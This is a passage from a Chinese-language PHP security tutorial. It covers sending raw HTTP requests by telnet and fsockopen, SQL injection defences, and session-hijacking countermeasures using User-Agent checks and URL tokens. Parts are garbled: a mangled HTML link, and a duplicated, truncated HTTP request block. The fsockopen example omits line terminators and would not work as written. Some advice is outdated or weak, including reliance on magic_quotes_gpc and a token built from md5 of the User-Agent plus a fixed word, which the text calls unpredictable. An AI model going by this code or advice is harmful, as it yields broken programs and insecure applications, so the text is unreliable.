     Server: Apache/1.3.31 (Unix)
     Accept-Ranges: bytes
     Content-Length: 410
     Connection: close
     Content-Type: text/html      <html>
     <head>
     <title>abc.net</title>
     </head>
     <body>
     <p>You have reached this web page by typing "example.com",
     "example.net", or "example.org" into your web browser.</p>
     <p>These domain names are reserved for use in documentation and are not
     available for registration. See
     <a href="RFC'>http://www.rfc-editor.org/rfc/rfc2606.txt">RFC _fcksavedurl=""RFC'>http://www.rfc-editor.org/rfc/rfc2606.txt">RFC" 2606</a>, Section
     3.</p>
     </body>
     </html>      Connection closed by foreign host.
     $
所显示的请求是符合HTTP/1.1规范的最简单的请求,这是因为Host信息是头部信息中所必须有的。一旦你输入了表示请求结束的连续两个换行符,整个HTML的回应即显示在屏幕上。
Telnet实用程序不是与Web服务器直接通信的唯一方法,但它常常是最方便的。可是如果你用PHP编码同样的请求,你可以就可以实现自动操作了。前面的请求可以用下面的PHP代码实现:

<?php
     $http_response = '';
     $fp = fsockopen('abc.net', 80);
     fputs($fp, "GET / HTTP/1.1");
     fputs($fp, "Host: abc.net");
     while (!feof($fp))
     {
     $http_response .= fgets($fp, 128);
     }
     fclose($fp);
     echo nl2br(htmlentities($http_response, ENT_QUOTES, 'UTF-8'));
     ?>
当然,还有很多方法去达到上面的目的,但其要点是HTTP是一个广为人知的标准协议,一般攻击者都会对它非常熟悉,并且对常见的安全漏洞的攻击方法也很熟悉。

==SQL 注入

SQL 注入是PHP应用中最常见的漏洞之一。事实上令人惊奇的是,开发者要同时犯两个错误才会引发一个SQL注入漏洞,一个是没有对输入的数据进行过滤(过滤输入),还有一个是没有对发送到数据库的数据进行转义(转义输出)。这两个重要的步骤缺一不可,需要同时加以特别关注以减少程序错误。
虽然两个步骤都不能省略,但只要实现其中的一个就能消除大多数的SQL注入风险。如果你只是过滤输入而没有转义输出,你很可能会遇到数据库错误(合法的数据也可能影响SQL查询的正确格式),但这也不可靠,合法的数据还可能改变SQL语句的行为。另一方面,如果你转义了输出,而没有过滤输入,就能保证数据不会影响SQL语句的格式,同时也防止了多种常见SQL注入攻击的方法。
关于SQL注入,不得不说的是现在大多虚拟主机都会把magic_quotes_gpc选项打开,在这种情况下所有的客户端GET和POST的数据都会自动进行addslashes处理,所以此时对字符串值的SQL注入是不可行的,但要防止对数字值的SQL注入,如用intval()等函数进行处理。但如果你编写的是通用软件,则需要读取服务器的magic_quotes_gpc后进行相应处理。

==会话劫持

最常见的针对会话的攻击手段是会话劫持。它是所有攻击者可以用来访问其它人的会话的手段的总称。所有这些手段的第一步都是取得一个合法的会话标识来伪装成合法用户,因此保证会话标识不被泄露非常重要。前面几节中关于会话暴露和固定的知识能帮助你保证会话标识只有服务器及合法用户才能知道。
把伪装过程变得更复杂的关键是加强验证。会话标识是验证的首要方法,同时你可以用其它数据来补充它。你可以用的所有数据只是在每个HTTP请求中的数据:

GET / HTTP/1.1
     Host: abc.net
     User-Agent: Firefox/1.0
     Accept: text/html, image/png, image/jpeg, image/gif, * / HTTP/1.1
     Host: abc.net
     User-Agent: Firefox/1.0
     Accept: text/html, image/png, image/jpeg, image/gif, *
应该意识到请求的一致性,并把不一致的行为认为是可疑行为。例如,虽然User-Agent(发出本请求的浏览器类型)头部是可选的,但是只要是发出该头部的浏览器通常都不会变化它的值。如果你一个拥有1234的会话标识的用户在登录后一直用Mozilla Firfox浏览器,突然转换成了IE,这就比较可疑了。例如,此时你可以用要求输入密码方式来减轻风险,同时在误报时,这也对合法用户产生的冲击也比较小。你可以用下面的代码来检测User-Agent的一致性:

<?php
     session_start();
     if (isset($_SESSION['HTTP_USER_AGENT']))
     {
     if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT']))
     {
         exit;
     }
     }
     else
     {
     $_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']);
     }
     ?>
在某些版本的IE浏览器中,用户正常访问一个网页和刷新一个网页时发出的Accept头部信息不同,因此Accept头部不能用来判断一致性。 确保User-Agent头部信息一致的确是有效的,但如果会话标识通过cookie传递,有道理认为,如果攻击者能取得会话标识,他同时也能取得其它 HTTP头部。由于cookie暴露与浏览器漏洞或跨站脚本漏洞相关,受害者需要访问攻击者的网站并暴露所有头部信息。所有攻击者要做的只是重建头部以防止任何对头部信息一致性的检查。
比较好的方法是产生在URL中传递一个标记,可以认为这是第二种验证的形式。使用这个方法需要进行一些编程工作,PHP中没有相应的功能。例如,假设标记保存在$token中,你需要把它包含在所有你的应用的内部链接中:

<?php
     $url = array();
     $html = array();
     $url['token'] = rawurlencode($token);
     $html['token'] = htmlentities($url['token'], ENT_QUOTES, 'UTF-8');
?>      <a href="abc.php?token=<?php echo $html['token']; ?>">Click Here</a>
为了更方便地管理这个传递过程,你可能会把整个请求串放在一个变量中。你可以把这个变量附加到所有链接后面,这样即便你一开始没有使用该技巧,今后还是可以很方便地对你的代码作出变化。 该标记需要包含不可预测的内容,即便是在攻击者知道了受害者浏览器发出的HTTP头部的全部信息也不行。一种方法是生成一个随机串作为标记:

<?php
     $string = $_SERVER['HTTP_USER_AGENT'];
     $string .= 'SHIFLETT';
     $token = md5($string);
     $_SESSION['token'] = $token;
?>
当你使用随机串时(如SHIFLETT),对它进行预测是不现实的。此时,捕获标记将比预测标记更为方便,通过在URL中传递标记和在cookie中传递会话标识,攻击时需要同时抓取它们二者。这样除非攻击者能够察看受害者发往你的应用所有的HTTP请求原始信息才可以,因为在这种情况下所有内容都暴露了。这种攻击方式实现起来非常困难(所以很罕见),要防止它需要使用SSL。
有专家警告不要依赖于检查User-Agent的一致性。这是因为服务器群集中的HTTP代理服务器会对User-Agent进行编辑,而本群集中的多个代理服务器在编辑该值时可能会不一致。
如果你不希望依赖于检查User-Agent的一致性。你可以生成一个随机的标记:

<?php
     $token = md5(uniqid(rand(), TRUE));
     $_SESSION['token'] = $token;
?>
这一方法的安全性虽然是弱一些,但它更可靠。上面的两个方法都对防止会话劫持提供了强有力的手段。你需要做的是在安全性和可靠性之间作出平衡。